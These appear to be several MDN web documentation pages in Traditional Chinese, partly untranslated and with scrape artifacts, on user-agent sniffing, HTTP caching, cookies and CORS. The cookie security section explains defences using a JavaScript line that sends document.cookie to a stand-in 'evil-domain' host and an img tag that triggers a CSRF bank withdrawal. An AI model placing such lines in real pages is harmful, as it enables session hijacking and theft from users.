- -目前有五大主流的排版引擎:Trident, Gecko, Presto, Blink 與 WebKit。因為排版引擎嗅探頗為常見,許多用戶代理也會加入其他的排版引擎,以觸發探測。所以在偵測排版引擎的時候,當心別錯誤觸發。
- -- | 絕對有 | -- |
---|---|---|
Gecko | -Gecko/xyz | -- |
WebKit | -AppleWebKit/xyz | -請注意 WebKit 瀏覽器會加上「like Gecko」字串。如果探測不加留意,就會錯誤觸發針對 Gecko 的情形。 | -
Presto | -Opera/xyz | -注意:Presto 在 Opera15 以後不再使用(請參見 Blink) | -
Trident | -Trident/xyz | -Internet Explorer 把這個 token 放在 User Agent String 的 comment(註解)部份 | -
EdgeHTML | -Edge/xyz | -The non-Chromium Edge puts its engine version after the Edge/ token, not the application version. - Note: EdgeHTML is no longer used in Edge browser builds >= version 79 (see 'Blink'). |
-
Blink | -Chrome/xyz | -- |
除了 Gecko 這個著名的例外,多數排版引擎版本的 token 通常會是 RenderingEngine/VersionNumber(排版引擎/版本號)。Gecko 把版本號放在用戶代理內,位於 rv:
字串後的註解部份。但在 Gecko 14(攜帶版)或 Gecko 17(桌面版)以後,版本號也出現在 Gecko/version token 裡面(之前的版本則是寫建置日期、固定的日期則呼叫 GeckoTrail)。
大多數的用戶代理都會表明自己固定字符串在個作業系統上運行(儘管如 Firefox OS 這種以網路為中心的平台並沒有這樣做),不過格式的差異卻頗大。它是個固定字串,位於用戶代理註解部份的兩個分號間。對每個瀏覽器而言。這些字串是特定的。這些字串給出了作業系統、通常也給出他們的版本以及在哪個設備上運作(32位元或64位元、抑或 Mac 的 Intel/PPC)。
- -如同其他個案,這些字串可能在未來會有所變動,只應該用於檢測已經出現的瀏覽器。在瀏覽器的新版本出現後,也要進行技術研究,以確保程式能夠適應。
- -最常實行用戶代理嗅探的理由,是判別瀏覽器是在哪個設備執行。這麼做的目的是提供不同類型的 HTML 內容給不同類型的上網設備。
- -以下表格概括了主要的瀏覽器製造者,如何表明它們的瀏覽器在手機上運作:
- -瀏覽器 | -規則 | -示例 | -
---|---|---|
Mozilla (Gecko, Firefox) | -註解內的 Mobile 或 Tablet token | -Mozilla/5.0 (Android; Mobile; rv:13.0) Gecko/13.0 Firefox/13.0 | -
WebKit-based (Android, Safari) | -註解外的 Mobile Safari token | -Mozilla/5.0 (Linux; U; Android 4.0.3; de-ch; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 | -
Blink-based (Chromium, Google Chrome, Opera 15+) | -註解外的 Mobile Safari token | -Mozilla/5.0 (Linux; Android 4.4.2); Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.117 Mobile Safari/537.36 OPR/20.0.1396.72047 | -
Presto-based (Opera 12-) | -
- 註解內的 Opera Mobi/xyz token (Opera 12-) - |
-
- Opera/9.80 (Android 2.3.3; Linux; Opera Mobi/ADR-1111101157; U; es-ES) Presto/2.9.201 Version/11.50 - |
-
Internet Explorer | -註解內的 IEMobile/xyz | -Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0) | -
總之,我們建議藉著找出用戶代理的「Mobi」字串,來偵測行動設備。
- -如果設備尺寸夠大的話,它就不會標示「Mobi」。針對這種情形,你應該提供桌面版網站。另外,因為最近桌面設備的觸控螢幕越來越多,為了提供最佳習慣,網站應該支援觸控輸入。
-藉由重複使用先前取過的資源,網站與網頁應用程式能夠顯著地提升效能。caching可以減少網路傳輸量以降低一個資源可展示的延遲時間。善用 HTTP caching可以讓網站可以回應更多請求。
- -快取是一種儲存伺服器回復的訊息且用此存檔回覆給請求者的技術。當快取伺服器有存者一份請求檔案的回覆,快取伺服器會攔截此請求訊息,回覆給請求者存在快取上的檔案,而不是從請求者請求的網頁伺服器去請求原始檔案。這樣的運作機制能達成下列幾個目的:讓網頁伺服器不用處理每個從客戶端發出的請求,減輕機器運作的負擔。且由於傳輸起點距離更接近請求端,能讓整體請求的過程效能更加,整體請求需要更少的時間傳送資源。對一個要達成高效能的網站來講,快取一個很重要的一塊。另一方面來講,快取的請求、回復、儲存機制必須設定好,別讓存在快取伺服器的檔案都是同一個:重要的是當資源改變才去使用快取,而不是一直存放著。
- -快取有好幾種,但他們可以分為兩大類:共用和私有的快取。共用的快取定義是指快取伺服器上存的回覆能給好幾個不同的請求者服務。而私有的快取就相對只會服務一個請求者。此頁面講到的快取大部分都是指代理伺服器和瀏覽器的快取,但是快取還有像是閘道器快取、CDN快取、反向代理伺服器快取 、負載平衡器快取,它們都是部屬在網頁伺服器那邊,讓網站和網頁應用程式更加穩定,效能更好,且有更好的擴增姓。
- - - -私有的快取只會服務一個使用者。你可能已經在設定瀏覽器的時候看過快取了。一個瀏覽器快取會存放所有透過HTTP協定下載的檔案。這類型的快取是為了方便使用者上下頁移動、存檔、或者檢視檔案原始碼等等,讓使用者不用再次向原始伺服器請求檔案。此機制同樣的增進線下瀏覽快取。
- -一個共用的快取伺服器,是指快取存放者能讓多位使用者請求的檔案副本。舉例來說,ISP或者你的公司內部網路可能會設置代理伺服器,用來服務每個使用者,讓一些較常用的檔案可以重複使用多次,減少網路交通的流量。
- -HTTP caching is optional, but reusing a cached resource is usually desirable. However, common HTTP caches are typically limited to caching responses to {{HTTPMethod("GET")}} and may decline other methods. The primary cache key consists of the request method and target URI (oftentimes only the URI is used as only GET requests are caching targets). Common forms of caching entries are:
- -A cache entry might also consist of multiple stored responses differentiated by a secondary key, if the request is target of content negotiation. For more details see the information about the {{HTTPHeader("Vary")}} header below.
- -Cache-control
檔頭{{HTTPHeader("Cache-Control")}} 是HTTP/1.1用來特別指令快取如何處理回覆和要求的通用檔頭欄位。使用此欄位和多種的指令,來定義你的快取機制。
- -快取不該存取任何的使用者請求或者伺服器的回覆。每個請求都是送到原始的伺服器去取得資源。
- -Cache-Control: no-store -- -
快取伺服器在把已儲存的複製版本傳給請求者之前,先會送一個請求給網頁伺服器做驗證。
- -Cache-Control: no-cache- -
共用(Public)這個指令指出此回覆訊息可以由任何快取給存取。這點可以變成很有用處,假如頁面有不容易快取成功的HTTP驗證的訊息或者回覆狀態碼,現在應該很容易被存取了。
- -相對的,私有(Private)的指令指示快取只給一個使用者使用,且不能被共用的快取伺服器給儲存過。隱私視窗(無痕模式)的快取就可能是這樣子。
- -Cache-Control: private -Cache-Control: public -- -
在這裡最重要的指令就是"max-age=<seconds>
" ,意思是指存放在快取伺服器上的資源有剩下多少時間被認定還是新鮮的。 跟{{HTTPHeader("Expires")}}不太一樣,這個檔頭欄位快取指的是請求此回覆的日期和時間。對於程式中不常更新的檔案,你可以積極地使用此機制。這些檔案包含了,圖檔、CSS、Javascripts檔案等等。
想要了解更多的話,請參見下面的Freshness。
- -Cache-Control: max-age=31536000- -
當使用"must-revalidate
"指令時,快取伺服器一定要先發送請求訊息給網頁伺服器驗證,請已經確認是過有效期限且檔案有更新的回覆的話,舊的檔案就不能使用。假如想了解更多,請參見下面的Validation。
Cache-Control: must-revalidate- -
Pragma
檔頭欄位{{HTTPHeader("Pragma")}} 是HTTP/1.0的檔頭欄位,此檔頭欄位沒有特別指是HTTP回覆怎麼處理,所以用此來取代HTTP/1.1 Cache-Control
通用檔頭欄位並不是很穩定。假如Cache-Control
檔頭欄位在傳送請求訊息時被省略掉了,此檔頭欄位運作的結果跟 Cache-Control: no-cache
一樣。此Pragma
欄位只能跟 HTTP/1.0的請求者使用。
Once a resource is stored in a cache, it could theoretically be served by the cache forever. Caches have finite storage so items are periodically removed from storage. This process is called cache eviction. On the other side, some resources may change on the server so the cache should be updated. As HTTP is a client-server protocol, servers can't contact caches and clients when a resource changes; they have to communicate an expiration time for the resource. Before this expiration time, the resource is fresh; after the expiration time, the resource is stale. Eviction algorithms often privilege fresh resources over stale resources. Note that a stale resource is not evicted or ignored; when the cache receives a request for a stale resource, it forwards this request with a {{HTTPHeader("If-None-Match")}} to check if it is in fact still fresh. If so, the server returns a {{HTTPStatus("304")}} (Not Modified) header without sending the body of the requested resource, saving some bandwidth.
- -Here is an example of this process with a shared cache proxy:
- - - -The freshness lifetime is calculated based on several headers. If a "Cache-Control: max-age=N
" header is specified, then the freshness lifetime is equal to N. If this header is not present, which is very often the case, it is checked if an {{HTTPHeader("Expires")}} header is present. If an Expires
header exists, then its value minus the value of the {{HTTPHeader("Date")}} header determines the freshness lifetime.
If an origin server does not explicitly specify freshness (e.g. using {{HTTPHeader("Cache-Control")}} or {{HTTPHeader("Expires")}} header) then a heuristic approach may be used.
- -In this case look for a {{HTTPHeader("Last-Modified")}} header. If this header is present, then the cache's freshness lifetime is equal to the value of the Date
header minus the value of the Last-modified
header divided by 10. The expiration time is computed as follows:
expirationTime = responseTime + freshnessLifetime - currentAge- -
where responseTime
is the time at which the response was received according to the browser. For more information see RFC 7234: Hypertext Transfer Protocol (HTTP/1.1): 4.2.2. Calculating Heuristic Freshness.
The more we use cached resources, the better the responsiveness and the performance of a Web site will be. To optimize this, good practices recommend to set expiration times as far in the future as possible. This is possible on resources that are regularly updated, or often, but is problematic for resources that are rarely and infrequently updated. They are the resources that would benefit the most from caching resources, yet this makes them very difficult to update. This is typical of the technical resources included and linked from each Web pages: JavaScript and CSS files change infrequently, but when they change you want them to be updated quickly.
- -Web developers invented a technique that Steve Souders called revving[1]. Infrequently updated files are named in a specific way: in their URL, usually in the filename, a revision (or version) number is added. That way each new revision of this resource is considered as a resource on its own that never changes and that can have an expiration time very far in the future, usually one year or even more. In order to have the new versions, all the links to them must be changed, that is the drawback of this method: additional complexity that is usually taken care of by the tool chain used by Web developers. When the infrequently variable resources change they induce an additional change to often variable resources. When these are read, the new versions of the others are also read.
- -This technique has an additional benefit: updating two cached resources at the same time will not lead to the situation where the out-dated version of one resource is used in combination with the new version of the other one. This is very important when web sites have CSS stylesheets or JS scripts that have mutual dependencies, i.e., they depend on each other because they refer to the same HTML elements.
- - - -The revision version added to revved resources doesn't need to be a classical revision string like 1.1.3, or even a monotonously growing suite of number. It can be anything that prevent collisions, like a hash or a date.
- -When a cached document's expiration time has been reached, it is either validated or fetched again. Validation can only occur if the server provided either a strong validator or a weak validator.
- -Revalidation is triggered when the user presses the reload button. It is also triggered under normal browsing if the cached response includes the "Cache-Control: must-revalidate
" header. Another factor is the cache validation preferences in the Advanced->Cache
preferences panel. There is an option to force a validation each time a document is loaded.
The {{HTTPHeader("ETag")}} response header is an opaque-to-the-useragent value that can be used as a strong validator. That means that a HTTP user-agent, such as the browser, does not know what this string represents and can't predict what its value would be. If the ETag
header was part of the response for a resource, the client can issue an {{HTTPHeader("If-None-Match")}} in the header of future requests – in order to validate the cached resource.
The {{HTTPHeader("Last-Modified")}} response header can be used as a weak validator. It is considered weak because it only has 1-second resolution. If the Last-Modified
header is present in a response, then the client can issue an {{HTTPHeader("If-Modified-Since")}} request header to validate the cached document.
When a validation request is made, the server can either ignore the validation request and respond with a normal {{HTTPStatus(200)}} OK
, or it can return {{HTTPStatus(304)}} Not Modified
(with an empty body) to instruct the browser to use its cached copy. The latter response can also include headers that update the expiration time of the cached document.
The {{HTTPHeader("Vary")}} HTTP response header determines how to match future request headers to decide whether a cached response can be used, or if a fresh one must be requested from the origin server.
- -When a cache receives a request that has a Vary
header field, it must not use a cached response by default unless all header fields specified in the Vary
header match in both the original (cached) request and the new request.
This feature is commonly used to allow a resource to be cached in uncompressed and (various) compressed forms, and served appropriately to user agents based on the encodings that they support. For example, a server can set Vary: Accept-Encoding
to ensure that a separate version of a resource is cached for all requests that specify support for a particular set of encodings, e.g. Accept-Encoding: gzip,deflate,sdch
.
Vary: Accept-Encoding- -
Use Vary
with care—it can easily reduce the effectiveness of caching! A caching server should use normalization to reduce duplicated cache entries and unnecessary requests to the origin server. This is particularly true when using Vary
with headers and header values that can have many values.
The Vary
header can also be useful for serving different content to desktop and mobile users, or to allow search engines to discover the mobile version of a page (and perhaps also tell them that no Cloaking is intended). This is usually achieved with the Vary: User-Agent
header, and works because the {{HTTPHeader("User-Agent")}} header value is different for mobile and desktop clients.
Vary: User-Agent- -
As discussed above, caching servers will by default match future requests only to requests with exactly the same headers and header values. That means a request will be made to the origin and a new cache will be created for every slight variant that might be specified by different user-agents.
- -For example, by default all of the following result in a separate request to the origin and a separate cache entry: Accept-Encoding: gzip,deflate,sdch
, Accept-Encoding: gzip,deflate
, Accept-Encoding: gzip
. This is true even though the origin server will probably respond with — and store — the same resource for all requests (a gzip)!
To avoid unnecessary requests and duplicated cache entries, caching servers should use normalization to pre-process the request and cache only files that are needed. For example, in the case of Accept-Encoding
you could check for gzip
and other compression types in the header before doing further processing, and otherwise unset the header. In "pseudo code" this might look like:
// Normalize Accept-Encoding -if (req.http.Accept-Encoding) { - if (req.http.Accept-Encoding ~ "gzip") { - set req.http.Accept-Encoding = "gzip"; - } - // elsif other encoding types to check -else { - unset req.http.Accept-Encoding; - } -} -- -
User-Agent
has even more variation than Accept-Encoding
. So if using Vary: User-Agent
for caching mobile/desktop variants of files you'd similarly check for the presence of "mobile"
and "desktop"
in the request User-Agent
header, and then clear it.
HTTP cookie(web cookie、browser cookie)為伺服器傳送予使用者瀏覽器的一個小片段資料。瀏覽器可能儲存並於下一次請求回傳 cookie 至相同的伺服器。Cookie 通常被用來保持使用者的登入狀態——如果兩次請求都來自相同的瀏覽器。舉例來說,它記住了無狀態(stateless)HTTP 協議的有狀態資訊。
- -Cookies 主要用於三個目的:
- -Cookies 曾被當作一般的客戶端儲存方式來使用。這在當時 cookie 仍是將資料儲存在客戶端的唯一方法時是合法的,現在則建議使用現代的 storage APIs。Cookies 會被每一個請求發送出去,所以可能會影響效能(尤其是行動裝置的資料連線)。現代客戶端的 storage APIs 為 Web storage API (localStorage
和 sessionStorage
)以及 IndexedDB。
要檢視儲存的 cookies(以及其他網頁可以使用的儲存資料),你可以開啟開發者工具中的儲存檢示器(Storage Inspector)並自儲存樹(storage tree)選擇 Cookies。
-收到一個 HTTP 請求時,伺服器可以傳送一個 {{HTTPHeader("Set-Cookie")}} 的標頭和回應。Cookie 通常存於瀏覽器中,並隨著請求被放在{{HTTPHeader("Cookie")}} HTTP 標頭內,傳給同個伺服器。可以註明 Cookie 的有效或終止時間,超過後 Cookie 將不再發送。此外,也可以限制 Cookie 不傳送到特定的網域或路徑。
- -Set-Cookie
及 Cookie
標頭{{HTTPHeader("Set-Cookie")}} HTTP 回應標頭從伺服器傳送 cookies 至用戶代理。一個簡單的 cookie 可以如下例設定:
- -Set-Cookie: <cookie-name>=<cookie-value>- -
這個來自伺服器的標頭告訴客戶端要儲存一個 cookie 。
- -Set-Cookie
標頭:
-
-HTTP/1.0 200 OK -Content-type: text/html -Set-Cookie: yummy_cookie=choco -Set-Cookie: tasty_cookie=strawberry - -[page content]- -
現在隨著每個請求,瀏覽器會使用 {{HTTPHeader("Cookie")}} 標頭將所有先前儲存的 cookies 傳給伺服器。
- -GET /sample_page.html HTTP/1.1 -Host: www.example.org -Cookie: yummy_cookie=choco; tasty_cookie=strawberry- -
以上創建的 cookie 為 session cookie:當客戶端關閉時即被刪除,因為它並沒有註明過期 Expires
或可維持的最大時間 Max-Age
。不過網頁瀏覽器可使用 session restoring,讓 session cookies 永久保存,就像瀏覽器從來沒關閉。
常駐 cookies 不會在客戶關閉後到期,而是在一個特定的日期 (Expires
) 或一個標明的時間長度後(Max-Age
)。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;- -
備註:當到期日被設定後,時間與日期即為相對於用戶端設定 cookie 的時間,而非伺服器。
-Secure
以及 HttpOnly
cookiesSecure cookie 只有在以加密的請求透過 HTTPS 協議時,傳送給伺服器。但即便是 Secure
,敏感的資訊絕對不該存在 cookies 內,因為他們本質上是不安全的,這個旗標不能提供真正的保護。自 Chrome 52 以及 Firefox 52 開始,不安全的網站(http:
)就不能以 Secure
的指示設定 cookies。
為了避免跨站腳本攻擊 ({{Glossary("XSS")}}),JavaScript 的{{domxref("Document.cookie")}} API 無法取得 HttpOnly
cookies;他們只傳送到伺服器。舉例來說,不需要讓 JavaScript 可以取用仍在伺服器 sessions 中的 cookies 時,就應該立 HttpOnly
的旗幟。
Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly- -
Domain
及 Path
的指示定義了 cookie 的作用範圍: cookies 應該被送到哪些 URLs 。
Domain
註明了受允許的 hosts 能接收 cookie。若無註明,則預設給當前文件位置的 host,不包含 subdomain。 若 Domain
有被註明,則 subdomains 總是被包含。
舉例來說,當設定 Domain=mozilla.org
後,在像 developer.mozilla.org
之類的 subdomains 中,cookies 都被包含在內。
Path
指出一個必定存在於請求 URL 中的 URL 路徑,使 Cookie
標頭能被傳出。%x2F(「/」)字元是資料夾分隔符號,子資料夾也同樣會被匹配。
例如,當設定 Path=/docs
後,以下的路徑皆會匹配:
/docs
/docs/Web/
/docs/Web/HTTP
SameSite
cookies {{experimental_inline}}SameSite
讓伺服器要求 cookie 不應以跨站請求的方式寄送,某種程度上避免了跨站請求偽造的攻擊({{Glossary("CSRF")}})。SameSite
cookies 目前仍在實驗階段,尚未被所有的瀏覽器支援。
Document.cookie
存取新的 cookies 亦可經由 JavaScript 的 {{domxref("Document.cookie")}} 屬性生成,且若沒有立 HttpOnly
旗幟,已存在的 cookies 可以透過 JavaScript 取得。
document.cookie = "yummy_cookie=choco"; -document.cookie = "tasty_cookie=strawberry"; -console.log(document.cookie); -// logs "yummy_cookie=choco; tasty_cookie=strawberry"- -
請注意以下安全性章節的資安問題。JavaScript 可取得的 Cookies 即有被 XSS 攻擊竊取的風險。
- -機密或敏感的資訊永遠不應該以 HTTP Cookies 的方式儲存或傳送,因為整個機制的本質是不安全的。
-Cookies 常用於網頁應用程式中,識別使用者與其 authenticated session,因此竊取 cookie 可能造成使用者的 authenticated session 被劫持。一般偷取 cookies 的作法包括社交工程(Social Engineering),或利用應用程式中的 {{Glossary("XSS")}} 漏洞。
- -(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;- -
Cookie 中的 HttpOnly
屬性,能藉由防止透過 JavaScript 取得 cookie 內容,來減少此類型的攻擊。
維基百科為 {{Glossary("CSRF")}} 舉了一個好例子。假設在一個未經過濾的對話或論壇中,某人插入了一個並非真實圖片,而是對你銀行伺服器請求領錢的 image:
- -<img src="http://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">- -
現在如果你的銀行帳戶仍在登入狀態中,你的 cookies 仍然有效,並且沒有其他的驗證方式,當你載入包含此圖片的 HTML 同時,你的錢即會被轉出。以下是一些避免此情況發生的技術:
- -Cookies 會帶有他們所屬的網域名。若此網域和你所在的頁面網域相同,cookies 即為第一方(first-party)cookie,不同則為第三方(third-party)cookie。第一方 cookies 只被送到設定他們的伺服器,但一個網頁可能含有存在其他網域伺服器的圖片或組件(像橫幅廣告)。透過這些第三方組件傳送的 cookies 便是第三方 cookies,經常被用於廣告和網頁上的追蹤。參見 Google 常用的 cookies 種類。大部分的瀏覽器預設允許第三方 cookies,但也有些可以阻擋他們的 add-on(例如 EFF 的 Privacy Badger)。
- -對於 cookie 的使用並沒有法律上或技術上的規定,但可利用 {{HTTPHeader("DNT")}} 標頭,指示網頁應用程式關閉頁面的追蹤、或跨站的使用者追蹤。參見{{HTTPHeader("DNT")}} 標頭以獲得更多資訊。
- -歐洲議會在 Directive 2009/136/EC 中定義了歐盟的 cookies 規定,並於 2011 年 5 月 25 日生效。此指示本身並非法律,而是給歐盟會員國要作為法律,需符合之規定的指示。實際的法條可因國制宜。
- -簡而言之,EU directive 指明要儲存或取得使用者電腦、手機、或其他裝置上的資訊前,都要經過使用者的同意。很多網站加了橫幅告知使用者 cookies 的使用。
- -參見維基百科上此章節,並查詢國家的法律以取得最新與最精確的資訊。
- -Zombie cookies 或「Evercookies」是一個更激進的手段,刻意讓 cookies 在被刪除後重新創造,使其很難被永遠的刪除。這些 cookies 使用 Web storage API、Flash Local Shared Objects 和其他的技術,使得當他們被偵測不存在時,就會立刻重新創造。
- - - -備註: 以下是如何在不同的伺服器端應用程式中,使用 Set-Cookie
標頭:
跨來源資源共用(Cross-Origin Resource Sharing ({{Glossary("CORS")}}))是一種使用額外 {{Glossary("HTTP")}} 標頭令目前瀏覽網站的{{Glossary("user agent","使用者代理")}}取得存取其他來源(網域)伺服器特定資源權限的機制。當使用者代理請求一個不是目前文件來源——例如來自於不同網域(domain)、通訊協定(protocol)或通訊埠(port)的資源時,會建立一個跨來源 HTTP 請求(cross-origin HTTP request)。
- -舉個跨來源請求的例子:http://domain-a.com
HTML 頁面裡面一個 <img>
標籤的 src
屬性載入來自 http://domain-b.com/image.jpg
的圖片。現今網路上許多頁面所載入的資源,如 CSS 樣式表、圖片影像、以及指令碼(script)都來自與所在位置分離的網域,如內容傳遞網路(content delivery networks, CDN)。
基於安全性考量,程式碼所發出的跨來源 HTTP 請求會受到限制。例如,{{domxref("XMLHttpRequest")}} 及 {{domxref("Fetch_API", "Fetch")}} 都遵守同源政策(same-origin policy)。這代表網路應用程式所使用的 API 除非使用 CORS 標頭,否則只能請求與應用程式相同網域的 HTTP 資源。
- - - -跨來源資源共用(Cross-Origin Resource Sharing,簡稱 {{Glossary("CORS")}})機制提供了網頁伺服器跨網域的存取控制,增加跨網域資料傳輸的安全性。現代瀏覽器支援在 API 容器(如 {{domxref("XMLHttpRequest")}} 或 {{domxref("Fetch_API", "Fetch")}})中使用 CORS 以降低跨來源 HTTP 請求的風險。
- -認真講,所有人。
- -進一步來說,本文內容主要和網站管理員、伺服器端開發者和前端網頁開發者有關。現代瀏覽器會處理客戶端的跨來源共用元件,包括標頭和政策施定。關於伺服器部分請參閱跨來源共用:從伺服器觀點出發(以 PHP 為範例)的補充說明。
- -XMLHttpRequest
或 Fetch API
進行跨站請求,如前所述。@font-face
的字體用途),所以伺服器可以佈署 TrueType 字體,並限制只讓信任的網站跨站載入。drawImage
繪製到 Canvas 畫布上的圖形/影片之影格。本文主要討論跨來源資源共用與相關必要的 HTTP 標頭。
- -跨來源資源共用標準的運作方式是藉由加入新的 HTTP 標頭讓伺服器能夠描述來源資訊以提供予瀏覽器讀取。另外,針對會造成副作用的 HTTP 請求方法(特別是 {{HTTPMethod("GET")}} 以外的 HTTP 方法,或搭配某些 MIME types 的 {{HTTPMethod("POST")}} 方法),規範要求瀏覽器必須要請求傳送「預檢(preflight)」請求,以 HTTP 的 {{HTTPMethod("OPTIONS")}} 方法之請求從伺服器取得其支援的方法。當伺服器許可後,再傳送 HTTP 請求方法送出實際的請求。伺服器也可以通知客戶端是否要連同安全性資料(包括 Cookies 和 HTTP 認證(Authentication)資料)一併隨請求送出。
- -之後的小節,我們將討論使用情境和相關的 HTTP 標頭。
- -我們將在此展示三種情境,來說明跨來源資源共用如何運作。所有的範例都使用 {{domxref("XMLHttpRequest")}} 物件,XMLHttpRequest
可以讓任何支援的瀏覽器進行跨站請求。
本節的 JavaScript 程式碼片段(以及處理跨站請求的伺服器端程式運作實體)可以在 http://arunranga.com/examples/access-control/ 看到,並可以運行在支援跨站 {{domxref("XMLHttpRequest")}} 請求的瀏覽器上。
- -對於伺服器端的跨來源資源共用討論(包含 PHP 範例)可參考伺服器端存取控制。
- -部分請求不會觸發 CORS 預檢。這類請求在本文中被稱作「簡單請求(simple requests)」,雖然 Fetch 規範(其定義了 CORS)中並不使用這個述語。一個不觸發 CORS 預檢的請求——所謂的「簡單請求(simple requests)」——其滿足以下所有條件:
- -DPR
Save-Data
Viewport-Width
Width
application/x-www-form-urlencoded
multipart/form-data
text/plain
例如,假設 http://foo.example
網域上的網頁內容想要呼叫 http://bar.other
網域內的內容,以下程式碼可能會在 foo.example 上執行:
var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/public-data/'; - -function callOtherDomain() { - if(invocation) { - invocation.open('GET', url, true); - invocation.onreadystatechange = handler; - invocation.send(); - } -} -- -
這將會在客戶端與伺服器端之間發起一個簡單的資料交換,並使用 CORS 相關標頭來處理權限:
- - - -我們來看看這個例子中瀏覽器將會送出什麼到伺服器,而伺服器又會如何回應:
- -GET /resources/public-data/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Referer: http://foo.example/examples/access-control/simpleXSInvocation.html -Origin: http://foo.example - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 00:23:53 GMT -Server: Apache/2.0.61 -Access-Control-Allow-Origin: * -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Transfer-Encoding: chunked -Content-Type: application/xml - -[XML Data] -- -
第 1 - 10 行是送出的標頭。第 10 行之主要 HTTP 請求標頭中的 {{HTTPHeader("Origin")}} 標頭,它標示出請求是來自 http://foo.example
網域上的內容。
第 13 - 22 行是 http://bar.other
網域伺服器回傳的 HTTP 回應。第 16 行伺服器回傳了一個 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭,從 {{HTTPHeader("Origin")}} 標頭與 {{HTTPHeader("Access-Control-Allow-Origin")}} 標頭中可以看到存取控制協定最簡單的用途。這個例子中,伺服器回傳 Access-Control-Allow-Origin: *
表示允許任何網域跨站存取資源,倘若 http://bar.other
的資源擁有者只准許來自 http://foo.example
的存取資源請求,那麼將會回傳:
Access-Control-Allow-Origin: http://foo.example
如此一來,來源並非 http://foo.example
網域(由第 10 行請求標頭中的 ORIGIN 標頭確認)便無法以跨站的方式存取資源。Access-Control-Allow-Origin
標頭必須包含請求當中的 Origin
標頭值。
不同於上面討論「簡單請求」的例子,「預檢(preflighted)」請求會先以 HTTP 的 OPTIONS 方法送出請求到另一個網域,確認後續實際(actual)請求是否可安全送出,由於跨站請求可能會攜帶使用者資料,所以要先進行預檢請求。
- -準確來說,如果滿足以下任一項條件時會發出預檢請求:
- -DPR
Save-Data
Viewport-Width
Width
application/x-www-form-urlencoded
multipart/form-data
text/plain
下面是一段會引起預檢請求的範例:
- -var invocation = new XMLHttpRequest(); -var url = 'http://bar.other/resources/post-here/'; -var body = '<?xml version="1.0"?><person><name>Arun</name></person>'; - -function callOtherDomain(){ - if(invocation) - { - invocation.open('POST', url, true); - invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); - invocation.setRequestHeader('Content-Type', 'application/xml'); - invocation.onreadystatechange = handler; - invocation.send(body); - } -} - -...... -- -
在這個例子中,第 3 行建立了一段 XML 內容資料並於第 8 行使用 POST
請求送出。而在第 9 行,設定了一個自定義的(非標準)之 HTTP 請求標頭(X-PINGOTHER: pingpong
)。此標頭並非 HTTP/1.1 通訊協定的一部分,但廣泛的使用於 Web 應用程式。而因為請求的 Content-type 為 application/xml
,且設定了自定義標頭,故此請求為預檢請求。
我們來看看客戶端與伺服器端之間完整的交換資訊。第一次的交換為預檢請求/回應:
- -OPTIONS /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -Origin: http://foo.example -Access-Control-Request-Method: POST -Access-Control-Request-Headers: X-PINGOTHER, Content-Type - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:39 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Access-Control-Allow-Methods: POST, GET, OPTIONS -Access-Control-Allow-Headers: X-PINGOTHER, Content-Type -Access-Control-Max-Age: 86400 -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 0 -Keep-Alive: timeout=2, max=100 -Connection: Keep-Alive -Content-Type: text/plain -- -
一旦預檢請求完成,真正的請求才會被送出:
- -POST /resources/post-here/ HTTP/1.1 -Host: bar.other -User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9.1b3pre) Gecko/20081130 Minefield/3.1b3pre -Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 -Accept-Language: en-us,en;q=0.5 -Accept-Encoding: gzip,deflate -Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 -Connection: keep-alive -X-PINGOTHER: pingpong -Content-Type: text/xml; charset=UTF-8 -Referer: http://foo.example/examples/preflightInvocation.html -Content-Length: 55 -Origin: http://foo.example -Pragma: no-cache -Cache-Control: no-cache - -<?xml version="1.0"?><person><name>Arun</name></person> - - -HTTP/1.1 200 OK -Date: Mon, 01 Dec 2008 01:15:40 GMT -Server: Apache/2.0.61 (Unix) -Access-Control-Allow-Origin: http://foo.example -Vary: Accept-Encoding, Origin -Content-Encoding: gzip -Content-Length: 235 -Keep-Alive: timeout=2, max=99 -Connection: Keep-Alive -Content-Type: text/plain - -[Some GZIP'd payload] -- -
